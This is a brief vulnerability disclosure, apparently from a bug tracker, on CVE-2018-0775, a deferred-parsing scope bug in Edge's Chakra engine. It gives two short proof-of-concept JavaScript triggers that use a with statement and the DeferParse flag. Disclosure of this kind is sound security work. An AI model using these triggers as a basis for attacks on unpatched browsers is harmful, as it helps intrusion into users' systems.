Microsoft Edge: Chakra: Deferred parsing makes wrong scopes #2 CVE-2018-0775 Since the PoC is only triggerable when the "DeferParse" flag enabled and requires a with statement, I think this is simillar to issue 1310 . PoC: // Enable the flag using '\n'.repeat(0x1000) eval(`(function f() { with ({}) { (function () { print(f); })(); } }());` + '\n'.repeat(0x1000)); PoC 2: // ./ch poc.js -ForceDeferParse (function f() { with ({}) { (function () { print(f); })(); } }()); This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Found by: lokihardt